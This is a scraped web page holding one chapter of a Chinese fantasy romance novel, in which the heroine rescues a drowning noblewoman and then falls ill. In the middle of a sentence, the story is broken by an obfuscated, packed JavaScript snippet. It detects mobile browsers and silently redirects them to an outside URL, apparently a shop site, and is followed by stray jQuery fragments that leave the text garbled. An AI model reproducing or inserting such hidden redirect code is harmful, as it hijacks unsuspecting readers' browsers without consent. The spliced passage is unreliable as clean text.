默认冷灰
24号文字
方正启体

34. 落水

作者:樱落不是璎珞本书字数:K更新时间:
    入了春,北齐气候依旧寒冷,冰冷的河水仿佛在骨肉上凌迟,激得燕黎漪不小心呛了几口水。双手划开的水流杂乱地灌入耳中,一时分辨不出落水人在哪。


    “左前方。”脑海里响起杨瑞雪的声音。


    燕黎漪猛吸口气,顺着他说的方向游去,不一会就碰到另一只挣扎的手。


    那只手触到她的刹那,立即紧紧抓住了她的胳膊。燕黎漪顺势把人拉过来抱在怀里,往岸边游去。


    她一边游着,一边拍拍落水人的背安慰道:“你别害怕……我是来救你的、你松点劲。”


    燕黎漪知晓落水人的害怕,不停安抚着她,可她似乎完全被慌乱攫住思绪,只把燕黎漪当成求生浮木。


    燕黎漪整个人几乎都是在被她压着向下沉,游动的速度都慢了下来。


    杨瑞雪在船上看得清楚,再这样下去,不出一会燕黎漪就会力竭。他眼睫轻颤,思索片刻后看向念叁月。


    念叁月接触到他投来的目光,微微颔首,抬手凝出灵力,直指江水。


    江水应声搅动,骤然掀起波澜,两个波浪便把水中两人拍向岸边。浪势过猛,燕黎漪拥着那女子一齐撞向上岸的石阶。


    侧腰狠狠磕上石阶,疼痛登时冲上头顶。燕黎漪忍住痛呼,抬手抓住阶梯。


    浪涌退去,连带她们往回退。素甲扣紧石面,指尖用力得发白,燕黎漪一只手扒着石阶,另一只手还要抱着人。


    即将脱力的刹那,又一波浪潮涌来,再次拥着她们撞向石阶。燕黎漪被送上石阶,连忙抓着岸上街道的石柱,没有再被带走。


    平静无风的江面掀起大浪,靠近江边的街道挤满被吸引而来的人,纷纷探头探脑瞧着两人狼狈样子。


    “那是柳家大小姐吧?”


    “还真是她,抱她的那女子又是何人?”


    “眼生的很,异乡人吧?”


    “说起异乡人,前几日不就有一行人进入羌州,诶呦,那俊哥儿俏姐儿引得全城轰动,说不准她就是其中一个。”


    “……”


    “让让让让,都让让。”


    自后往前的人群破开一条路,一面容俊朗的男子被人护着往江边走。


    发冠间玉珠夺目,左耳耳坠叮当作响,他眉眼间满是凝重,步子却并不慌乱,沉稳地走到护栏边。


    越过护栏往下看,那异色金瞳直直闯入视线,他果断回头对随从道:“快下去把人扶上来!”


    两名随从得令,碎步下阶就要接过柳大小姐,被燕黎漪抬手挡了回去。


    “让开、我抱她上去。”寒风刺骨,燕黎漪浑身湿透,说起话舌头还打结,眼里的强势倒不减,吓得随从连忙让出路。


    燕黎漪打横抱起身子打战的柳小姐,三步并两步跨阶而上。围观人群自行让开供她们活动的空地,她放下柳小姐,抬眸盯着那男子走过来。


    他先是看了一眼柳小姐,目光随即紧锁燕黎漪,动作利落地解下大氅。


    燕黎漪接过扬起的大氅,把柳小姐裹了个严实。


    男子愣神片刻,才想起自我介绍,他躬身作揖,道:“在下柳家柳归忆,多谢小姐救了我姐姐,敢问小姐姓名?”


    燕黎漪还拥着柳小姐,低头轻声安慰她。柳归忆问及她的姓名,她方才缓缓抬眸,淡声道:“我的姓名不重要。柳小姐受了凉,又呛了水,尽早寻医师来看看。”


    柳归忆顿时慌神道:“还望小姐能告知姓名,小姐救人之举,我也好向父母禀告,此后定会登门致谢。”


    燕黎漪没再应声,正想撤下揽着肩膀的手,使了劲却纹丝不动。她看向自己的手腕,镯子闪着光紧贴柳小姐。


    柳归忆还在絮絮叨叨地说着奉承的话,大有一种不知道她姓名不罢休的势头。


    燕黎漪无心理会他,低头轻声道:“可否告知我你的名字?”


    “柳、落华……”牙齿打战的咯咯声中几个气音吐出。


    “好。”燕黎漪把她搂得更紧,单手断掉了手镯的灵力链路。


    柳归忆语气诚恳道:“知恩不报在草原上的北齐是小人之径,父母知晓定会斥责我,还请小姐能留下姓名……”


    此话说得厉害,人群中也有人应和他,劝着燕黎漪留个姓名,不至于让他落下个不好名声。


    声势愈演愈烈,嘈杂声引燕黎漪眉头紧锁,虽是为了报恩,不至于把她架到这种程度吧?


    她偏头望向江边,那艘租来的船已经靠岸,他们应该快赶来了。


    “公子若想报恩,与我相谈便好,我是她长辈。”


    冷冽清脆的声音透过人群传来,众人循声望去,一女子裹着紫衣迈步上前,站在柳归忆面前,顺便将燕黎漪护在身后。


    “慈姐姐。”慈冠英的背影挡在燕黎漪身前,响亮的嗓音昭示她此刻是清明的。


    慈冠英侧身回以她抚慰一笑,继续对柳归忆道:“公子的善意我明白,但眼下是不是应该带柳小姐去寻医师?”


    她声量不高,话点到为止,柳归忆自然懂她的意思,连忙答是,上前接过柳落华。


    燕黎漪松手,特意叮嘱要让她好生休息,说到一半,厚重的大氅从天而降。


    大氅还带着她刚解下时淡淡的温度,毛绒簇拥湿透的她,驱散部分寒意。


    她顺着覆来的阴影看去,身后杨瑞雪为她整理兜帽,念叁月在她身前为她系好大氅。


    “有没有哪里受伤?”念叁月问她,一边牵起她的手给她输送灵力。


    燕黎漪摇摇头,视线又落回单手扶着柳落华的柳归忆脸上。


    柳归忆还在和慈冠英交谈,触及她的眼神,又朝她微微躬身,语气比先前更加谦卑:“多谢小姐的救命之恩,那我就先告辞了。”


    燕黎漪颔首,目送他在随从的簇拥下离开。


    柳落华身上的衣裳乍一看并无特殊之处,细看下来,金线缠绕,珠玉悬顶,实是大户人家出行聚宴的衣裳。


    既然柳落华在那艘船上,为何柳归忆不在,这家人真奇怪。


    手被人轻轻往前拉,也将她的思绪拉回现实。


    燕黎漪抬眸,好友们已经全部到齐。纪端和何婧雪因为要和船夫结算船费来晚了,什么热闹都没凑上,缠着杨瑞雪给他们讲讲。


    “安静。”慈冠英难得语气凶了些,将燕黎漪上上下下扫了几遍,才道,“先回客栈,你有什么不适要和我们讲。”


    燕黎漪点点头,这才发觉寒风刺骨,半边身子麻木,失去知觉。


    往回走时,祝游背起累睡过去的慈冠英,其他几人跑跑闹闹快看不见人影,剩他们三人在后面慢悠悠地走。


    “柳落华拿着第二卷,对吗?”夜风寒凉,燕黎漪拢紧了氅衣,“她怎么看上去没有一点修为?”


    杨瑞雪扭头打了个喷嚏,揉着鼻子道:“不清楚,也可能是她自己的选择。符典增强的是对符文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224442|197560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的顿悟,若是她不愿学,自然对修为无助。”


    燕黎漪沉思片刻,道:“四大学院中地处北齐的是无双学院,联系他们的事可否拜托你?”


    第一卷顺利交接得益于她是清风书院的弟子,无双学院入学难且复杂,折腾一通下来,不知要在北齐耗多久,她不想再生事端。


    “放心,已经派人联系了,”杨瑞雪道,“符典交由苍羽楼的人去送吧,我们今后要往西走,与无双学院不顺路。”


    街道灯笼的火光在她墨瞳里重复闪过,燕黎漪咳了两声,道:“往西?不直接南下去大宋吗?”


    杨瑞雪轻轻摇头,绒毛蹭着颊侧,眼神愈发深沉。他道:“北齐西部魔患四起,有些甚至波及到城镇,安排在西部的蜂部成员魂灯全灭。”


    “全灭?!”念叁月猛地止住脚步,惊愕地望向他,“原先的四十六人,加上增派的五十一人……全灭?!”


    “嗯,”杨瑞雪的声音低了些,“所以顺路过去。我今早已经和他们商量过,都同意往西了,你呢?”


    “自然是一起……咳、咳咳……”燕黎漪突然咳得厉害起来,身子无力蹲下。


    念叁月连忙上前抚背顺气,神情染上焦急:“怎么忽然严重了?输过灵力后按理不会这样的。”


    最开始声嘶力竭的咳嗽渐渐弱了下去,像是湿透的毛巾被拧着,已经扭曲到毫无余地,始终有水滴下。


    她垂首咳得只剩气音,杨瑞雪蹲在她面前,皱眉盯着她的发旋,平静的语气下藏着一丝试探:“修真者一般不会生病,你这是……”


    闻言,燕黎漪背脊一僵,而后摇头:“我自己的原因……”


    杨瑞雪轻抿唇,周遭的火光在他眸中更重了些:“还能走吗?要让叁月背你回去吗?”


    呼吸沉重像被卡住,灌入肺里的空气咕噜噜地响,燕黎漪就这样喘了几口气,借念叁月的力站起:“能走。”


    “我们得快些回去了,”杨瑞雪看她脸色很差,“灵疗无用的话,还是去请医师看看的好。”


    他回到客栈,祝游安置好慈冠英,两人一同出门。


    街上零星几家铺子尚且亮着灯,人影忙碌收拾着准备关门。靴跟磕在板上的声音略显急促,杨瑞雪记得有家医馆就在附近,尚且未到闭馆时间。


    “你心悦黎漪?”祝游一言平地惊雷。


    杨瑞雪脚下趔趄,轻咳一声,不自在道:“很明显吗?”


    “不明显吗?”祝游快走几步,与他齐行,“明眼人都能看出来,你只有在有关她的事时才会上心,纪端生病你会亲自为他寻医吗?”


    杨瑞雪低笑:“情况不同嘛。”


    “我是小慈师哥,算她半个长辈,”祝游道,“我不插手你们感情,我只说一句,不要伤害她。”


    “这绝对不会,你放心。”


    祝游叹息道:“这里面包括她难过、害怕、愤怒诸多情感,这样说有些强人所难,但她还小,我只想让她先快意成长。”


    人总会变,承诺无足轻重,他能做的,只是在自己还在的这段时间里尽可能保护她。


    忽地一阵风吹来,白发飞扬,祝游在他脸上看到从未见过的波澜。


    杨瑞雪似是想到什么,无比温柔地眺望远处,眸中多了几分水光。他道:“我明白,她的感受最紧要。”


    他们来得巧,医师正收拾随行医箱,得知来意,拎起医箱跟上了他们的步伐。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)